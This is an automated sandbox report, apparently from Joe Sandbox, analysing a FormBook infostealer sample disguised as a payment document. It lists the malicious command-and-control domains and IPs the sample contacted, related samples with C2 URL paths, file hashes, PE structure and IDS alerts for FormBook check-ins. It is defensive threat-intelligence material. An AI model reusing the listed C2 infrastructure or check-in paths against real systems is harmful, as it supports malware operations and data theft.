https://plus.google.com/u/0/102310483732773374239	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.west.cn/services/domain/	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://domshow.vhostgo.com/template/img/paimai/jiaoyixq_jiaoyi.jpg)	systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/imgs/parking/icon-hosting.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://piensasolutions.com/imgs/parking/icon-web.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.piensasolutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dom	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.piensasolutions.com/hosting?utm_source=parking&utm_medium=link&utm_campaign=host	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://piensasolutions.com/imgs/parking/icon-parking.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.west.cn/jiaoyi/	systeminfo.exe, 00000007.00000002.4150949460.0000000007590000.00000004.00000800.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4149067807.00000000052D6000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.0000000002BB6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.jiyu-kobo.co.jp/	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/imgs/parking/icon-facebook-small.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers8	Payment&WarantyBonds.exe, 00000000.00000002.1750694598.0000000006BB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://piensasolutions.com/imgs/parking/icon-twitter-small.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	systeminfo.exe, 00000007.00000002.4151114745.00000000078B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/piensasolutions	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://piensasolutions.com/imgs/parking/icon-web-sencilla.png	systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.154.67	www.091210.xyz	United States	13335	CLOUDFLARENETUS	true
13.248.169.48	www.xipowerplay.xyz	United States	16509	AMAZON-02US	true
20.2.249.7	www.adsa6c.top	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
144.76.190.39	basicreviews.online	Germany	24940	HETZNER-ASDE	true
199.59.243.227	www.297676.com	United States	395082	BODIS-NJUS	true
217.160.0.60	solarand.online	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
198.251.84.200	stationseek.online	United States	53667	PONYNETUS	true
161.97.142.144	www.030002059.xyz	United States	51167	CONTABODE	true
203.161.49.193	www.simplek.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
103.120.80.111	www.cotti.club	Hong Kong	139021	WEST263GO-HKWest263InternationalLimitedHK	true
34.92.128.59	www.sgland06.online	United States	15169	GOOGLEUS	false
3.33.130.190	iampinky.info	United States	8987	AMAZONEXPANSIONGB	true
152.42.255.48	extrime1.shop	United States	81	NCRENUS	true
217.76.156.252	www.cesach.net	Spain	8560	ONEANDONE-ASBrauerstrasse48DE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545186
Start date and time:	2024-10-30 08:08:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment&WarantyBonds.exe (renamed file extension from bat to exe)
Original Sample Name:	Payment&WarantyBonds.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@18/14
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 92% Number of executed functions: 99 Number of non-executed functions: 219
Cookbook Comments:	Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
VT rate limit hit for: Payment&WarantyBonds.exe

Simulations

Behavior and APIs

Time	Type	Description
03:09:46	API Interceptor	1x Sleep call for process: Payment&WarantyBonds.exe modified
03:10:55	API Interceptor	8702789x Sleep call for process: systeminfo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.169.48	HSBC Payment Advice.exe	Get hash	malicious	FormBook	Browse	www.yanta.org/1nfd/
	INVOICES.exe	Get hash	malicious	FormBook	Browse	www.tangible.online/5byq/
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.telforce.one/ykhz/
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	www.proworker.shop/0z5y/
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.moneta.life/t37h/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.findbc.com/
	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	www.lunch.delivery/qwed/
	FACTURA A-7507_H1758.exe	Get hash	malicious	GuLoader	Browse	www.how2.guru/7eim/
	General terms and conditions of sale - Valid from 10202024 to 12312024.exe	Get hash	malicious	FormBook	Browse	www.sleepstudy.clinic/qb3j/?ldz=rxiD0VSh&jB=cFuFzZ3YvTtiHrP9YgB50pNFy1R7naj/7FPBP4W+y4TnGL17Vly9WSpF5ldignjoFUjCQ6N7kk5Em/mIXQaOgZKVJHh7DFNdo3QSNa+0F8GHeDzAsg==
	zamowienie.exe	Get hash	malicious	GuLoader	Browse	www.3808.app/t4fd/
20.2.249.7	REQST_PRC 410240665_2024.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/bx7a/
	REQST_PRC 410240.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/bx7a/
	PO 18-3081.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/sb22/
	rRFQ.bat.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/vawg/
	INVG0088 LHV3495264 BL327291535V.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/bx7a/
	PI#220824.exe	Get hash	malicious	FormBook	Browse	www.8auvih.top/iwsn/
	PURCHASE ORDER_330011 SEPTEMBER 2024.exe	Get hash	malicious	FormBook	Browse	www.km7ky4.top/bx7a/
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	www.8auvih.top/iwsn/?gLc=954R46Wvx7n5T5KmTAnXXU7c5sLMP21esxIuNAnYAqeAvOaVtLyGHXgDG+9pDjEdQAJe3x02PhQzxke8Oe2Iq6h+ey0690ZMgK9npYwF/LLyY1w9way6Y1E=&6fQ=evG0
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	www.8auvih.top/iwsn/
	Contract.exe	Get hash	malicious	FormBook	Browse	www.8auvih.top/pd8n/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.cesach.net	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	217.76.156.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO.2407010.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
HETZNER-ASDE	wZU2edEGL3.elf	Get hash	malicious	Unknown	Browse	144.79.90.34
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	188.40.167.81
	na.elf	Get hash	malicious	Mirai	Browse	46.4.195.6
	jew.spc.elf	Get hash	malicious	Mirai	Browse	78.46.244.4
	INVOICES.exe	Get hash	malicious	FormBook	Browse	95.216.25.89
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	193.25.170.240
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	88.198.164.142
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	116.203.104.203
	V9fubyadY6.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	XS_Trade_AI-newest_release_.exe	Get hash	malicious	LummaC	Browse	135.181.116.240
AMAZON-02US	Order pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	Proforma Fatura ektedir.exe	Get hash	malicious	DBatLoader, FormBook	Browse	185.166.143.49
	Order Pdf.exe	Get hash	malicious	DBatLoader	Browse	52.217.116.65
	SuNMTBkfPo.elf	Get hash	malicious	Unknown	Browse	108.137.225.79
	Proforma Fatura ektedir.exe	Get hash	malicious	DBatLoader	Browse	185.166.143.50
	Order Pdf.exe	Get hash	malicious	DBatLoader	Browse	185.166.143.48
	B6eg13TpEH.elf	Get hash	malicious	Unknown	Browse	18.140.171.43
	vHnFyxemFf.elf	Get hash	malicious	Unknown	Browse	18.182.10.178
	j3Lr4Fk7Kb.elf	Get hash	malicious	Mirai	Browse	34.217.56.254
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
MICROSOFT-CORP-MSN-AS-BLOCKUS	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Orden de compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	PO-004976.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	W6Z9uSRsKQ.elf	Get hash	malicious	Unknown	Browse	20.57.7.175
	wZU2edEGL3.elf	Get hash	malicious	Unknown	Browse	51.125.244.193
	Transferencia.xls	Get hash	malicious	Unknown	Browse	13.107.253.45
	SuNMTBkfPo.elf	Get hash	malicious	Unknown	Browse	104.46.238.240
	8v2IShmMos.elf	Get hash	malicious	Unknown	Browse	40.106.170.125
	Orden de Compra No. 434565344657.xlam.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	B6eg13TpEH.elf	Get hash	malicious	Unknown	Browse	51.153.54.236

Process:	C:\Users\user\Desktop\Payment&WarantyBonds.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\4648H9mUM

Download File

Process:	C:\Windows\SysWOW64\systeminfo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.950809546708747
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Payment&WarantyBonds.exe
File size:	764'928 bytes
MD5:	a9da1b42f6ad80ee6085f69e6c25f49b
SHA1:	e7f51c3eb496a278999fd893e1fcfca8a685f854
SHA256:	4e6fe41b2158546ebc7d5dcfe13aa832e3ce5025b36e0cfcc9d7f373e1a0a089
SHA512:	da5a50aee37e977f3af7bd7af90d91245d42197978d9a8b016558989d6999a1448d44095b61b164fa7a2f7374b338e29cf0efe3be40a125f782930898dca8162
SSDEEP:	12288:H8aDPw1Qk89Tmyij4kIqGNlSq8UMb7SmUdiJEYqXmSEwILV4C4BWpDatCEftp2uF:HdLw9gTFsOqGHFqvUwJEYJSEp4C44pDa
TLSH:	5DF4238273EE4711D47E6BF52EA2164453B66749092BF66C4FAC00CC6FA6B004D5AF1B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....!g..............0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	4bd4d4d4d4d6d629

Static PE Info

General

Entrypoint:	0x4bafda
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6721A484 [Wed Oct 30 03:14:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbaf88	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbc000	0x1720	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb8fe0	0xb9000	2681d2cd27ec28f4bdba76764ce7023e	False	0.9540500950168919	data	7.95788200827039	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xbc000	0x1720	0x1800	7fcbb9d7315293f588ab54c4c8fbedf4	False	0.7862955729166666	data	6.9286601127334855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x200	2e0b8e9b6825d01448eab31c2eb3e274	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xbc0c8	0x12cf	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9123572170301142
RT_GROUP_ICON	0xbd3a8	0x14	data	1.05
RT_VERSION	0xbd3cc	0x350	data	0.4009433962264151

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T08:10:32.954880+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49741	3.33.130.190	80	TCP
2024-10-30T08:10:32.954880+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49741	3.33.130.190	80	TCP
2024-10-30T08:10:50.202498+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49794	103.120.80.111	80	TCP
2024-10-30T08:10:52.752803+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49810	103.120.80.111	80	TCP
2024-10-30T08:10:55.113557+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49826	103.120.80.111	80	TCP
2024-10-30T08:10:57.668868+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49840	103.120.80.111	80	TCP
2024-10-30T08:10:57.668868+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49840	103.120.80.111	80	TCP
2024-10-30T08:11:03.748001+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49876	217.160.0.60	80	TCP
2024-10-30T08:11:06.297814+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49890	217.160.0.60	80	TCP
2024-10-30T08:11:08.869961+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49904	217.160.0.60	80	TCP
2024-10-30T08:11:11.413201+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	49918	217.160.0.60	80	TCP
2024-10-30T08:11:11.413201+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	49918	217.160.0.60	80	TCP
2024-10-30T08:11:17.480354+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49954	161.97.142.144	80	TCP
2024-10-30T08:11:20.001402+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49969	161.97.142.144	80	TCP
2024-10-30T08:11:22.550127+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49985	161.97.142.144	80	TCP
2024-10-30T08:11:25.122859+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50000	161.97.142.144	80	TCP
2024-10-30T08:11:25.122859+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50000	161.97.142.144	80	TCP
2024-10-30T08:11:30.980430+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50020	13.248.169.48	80	TCP
2024-10-30T08:11:33.545456+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50021	13.248.169.48	80	TCP
2024-10-30T08:11:36.187303+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50022	13.248.169.48	80	TCP
2024-10-30T08:11:38.753227+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50023	13.248.169.48	80	TCP
2024-10-30T08:11:38.753227+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50023	13.248.169.48	80	TCP
2024-10-30T08:11:44.898287+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50024	198.251.84.200	80	TCP
2024-10-30T08:11:47.490413+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50025	198.251.84.200	80	TCP
2024-10-30T08:11:49.932895+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50026	198.251.84.200	80	TCP
2024-10-30T08:11:52.581487+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	50027	198.251.84.200	80	TCP
2024-10-30T08:11:52.581487+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50027	198.251.84.200	80	TCP
